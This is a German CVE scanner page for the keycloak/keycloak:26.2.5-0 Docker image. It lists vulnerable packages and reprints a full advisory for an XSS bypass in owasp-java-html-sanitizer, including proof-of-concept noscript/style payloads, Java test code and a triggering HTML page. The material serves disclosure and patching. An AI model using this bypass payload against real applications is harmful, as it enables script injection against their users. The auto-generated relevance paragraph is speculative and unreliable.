Bekannte Sicherheitslücken (CVE) in keycloak/keycloak:26.2.5-0

CVE-ID	Schweregrad	Paket	Betroffene Version	Behobene Version	CVSS-Score
CVE-2025-66021	high	owasp-java-html-sanitizer	=20240325.1	20260101.1	8.6
Summary It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows `noscript` and `style` tags with `allowTextIn` inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. Details The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows `noscript` & `style` tag with `allowTextIn` inside style tags. The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except `noscript` and allow `style` tag with `allowTextIn` inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives `noscript` tags post sanitization. PoC Lets create a `HtmlPolicyBuilder` which allows `p, noscript, style` html tags and allows `.allowTextIn("style")`. There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation. `1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>` Run the following piece of code which sanitizes the payload. public class main { private static final String ALLOWED_HTML_TAGS = "p, noscript, style"; /** * Description of vulnerability : * The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. * However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. / public static void main(String[] args) { withAllowedTextAndStyleTag(); } /* * Test case : Vulnerable to XSS / public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWED_HTML_TAGS.split("\\s,\\s")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>"; System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } } Use the latest library version `<dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>` Output of the POC code should look like this `PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript> PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>` Lets understand what happened in sanitization process below --------------------------\| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS -----------------------------------\| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript> -------------------\| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS --------------------------- \| --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p> Lets create a sample html page and copy both sanitized output which should be generated in step 5 `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body> <!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>--> <noscript><style></noscript><script>alert(1)</script></style></noscript> <!-- SAFE OUTPUT --> <p><style></p><script>alert(1)</script></style></p> </body> </html>` Open this HTML page in the browser it should pop an alert. Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS. The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped `style` tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag. Impact This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/ Relevance:* The CVE-2025-66021 might be relevant if the Keycloak Docker image is exposed to untrusted networks or handles sensitive authentication data, as it could allow privilege escalation or unauthorized access. It would be critical in production environments where Keycloak serves as the central identity provider, potentially compromising user credentials or admin controls. If the deployment is isolated or uses strict access controls, the risk may be mitigated. (Note: Relevance analysis is automatically generated and may require verification.) Package URL(s): `pkg:maven/com.googlecode.owasp-java-html-sanitizer/owasp-java-html-sanitizer@20240325.1` More Info (NVD): https://nvd.nist.gov/vuln/detail/CVE-2025-66021
CVE-2025-55163	high	netty-codec-http2	<=4.1.123.Final	4.1.124.Final	8.2
CVE-2025-49146	high	postgresql	>=42.7.4,<42.7.7	42.7.7	8.2
CVE-2025-59250	high	mssql-jdbc	>=12.8.0.jre11,<12.8.2.jre11	12.8.2.jre8	8.1
CVE-2025-6965	high	sqlite	<3.34.1-8.el9_6	3.34.1-8.el9_6	7.7
CVE-2025-4802	medium	glibc	<2.34-168.el9_6.19	2.34-168.el9_6.19	7.0
CVE-2025-58057	medium	netty-codec	<4.1.125.Final	4.1.125.Final	6.9
CVE-2025-7784	medium	keycloak-services	>=26.2.0,<26.2.6	26.2.6	6.5
CVE-2025-48924	medium	commons-lang3	>=3.0,<3.18.0	3.18.0	6.5
CVE-2025-67735	medium	netty-codec-http	<4.1.129.Final	4.1.129.Final	6.5

CVE-ID

Schweregrad

Paket

Betroffene Version

Behobene Version

CVSS-Score

CVE-2025-66021

high

owasp-java-html-sanitizer

=20240325.1

20260101.1

8.6

Summary

It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style").
There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

1. <noscript><style></noscript><script>alert(1)</script>
2. <p><style></p><script>alert(1)</script>

Run the following piece of code which sanitizes the payload.

public class main {
    private static final String ALLOWED_HTML_TAGS = "p, noscript, style";

    /**
     * Description of vulnerability :
     *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.
     *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.
     */

    public static void main(String[] args) {
        withAllowedTextAndStyleTag();
    }

    /**
     *  Test case : Vulnerable to XSS
     */
    public static void withAllowedTextAndStyleTag() {
        HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
        PolicyFactory policy = htmlPolicyBuilder
                .allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
                .allowTextIn("style")
                .toFactory();
        String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
        String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

        System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
        System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
    }
}

Use the latest library version

        <dependency>
            <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
            <artifactId>owasp-java-html-sanitizer</artifactId>
            <version>20240325.1</version>
        </dependency>

Output of the POC code should look like this


PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>


PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

Lets understand what happened in sanitization process below

--------------------------| --> anything after style tag is cosidered as CSS and not sanitized 
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS

-----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. 
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>

-------------------| --> anything after style tag is cosidered as CSS and not sanitized 
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS

--------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. 
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

Lets create a sample html page and copy both sanitized output which should be generated in step 5


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POC OF SANITIZER OUTPUT</title>
</head>
<body>

<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript>

<!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p>

</body>
</html>

Open this HTML page in the browser it should pop an alert.

Alt text

Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

SAFE from XSS

The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

XSS POC

Impact

This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

Relevance:

The CVE-2025-66021 might be relevant if the Keycloak Docker image is exposed to untrusted networks or handles sensitive authentication data, as it could allow privilege escalation or unauthorized access. It would be critical in production environments where Keycloak serves as the central identity provider, potentially compromising user credentials or admin controls. If the deployment is isolated or uses strict access controls, the risk may be mitigated. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):

pkg:maven/com.googlecode.owasp-java-html-sanitizer/owasp-java-html-sanitizer@20240325.1

More Info (NVD):

https://nvd.nist.gov/vuln/detail/CVE-2025-66021

CVE-2025-55163

high

netty-codec-http2

<=4.1.123.Final

4.1.124.Final

8.2

CVE-2025-49146

high

postgresql

>=42.7.4,<42.7.7

42.7.7

8.2

CVE-2025-59250

high

mssql-jdbc

>=12.8.0.jre11,<12.8.2.jre11

12.8.2.jre8

8.1

CVE-2025-6965

high

sqlite

<3.34.1-8.el9_6

3.34.1-8.el9_6

7.7

CVE-2025-4802

medium

glibc

<2.34-168.el9_6.19

2.34-168.el9_6.19

7.0

CVE-2025-58057

medium

netty-codec

<4.1.125.Final

4.1.125.Final

6.9

CVE-2025-7784

medium

keycloak-services

>=26.2.0,<26.2.6

26.2.6

6.5

CVE-2025-48924

medium

commons-lang3

>=3.0,<3.18.0

3.18.0

6.5

CVE-2025-67735

medium

netty-codec-http

<4.1.129.Final

4.1.129.Final

6.5

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

CVE-Scan für keycloak/keycloak:26.2.5-0

Docker-Image-Sicherheitslücken-Scanner

28 Bekannte Sicherheitslücken in diesem Docker-Image

Summary

Details

PoC

Impact

Schweregradstufen

Über den CVE-Scanner

Warum CVE-Scanning für deine Docker-Images wichtig ist

Was ist eine CVE?

Vorteile des CVE-Scannens

Wie der CVE-Scanner funktioniert

Die Bedeutung des Patchens von Docker-Images

Du willst dieses Image deployen?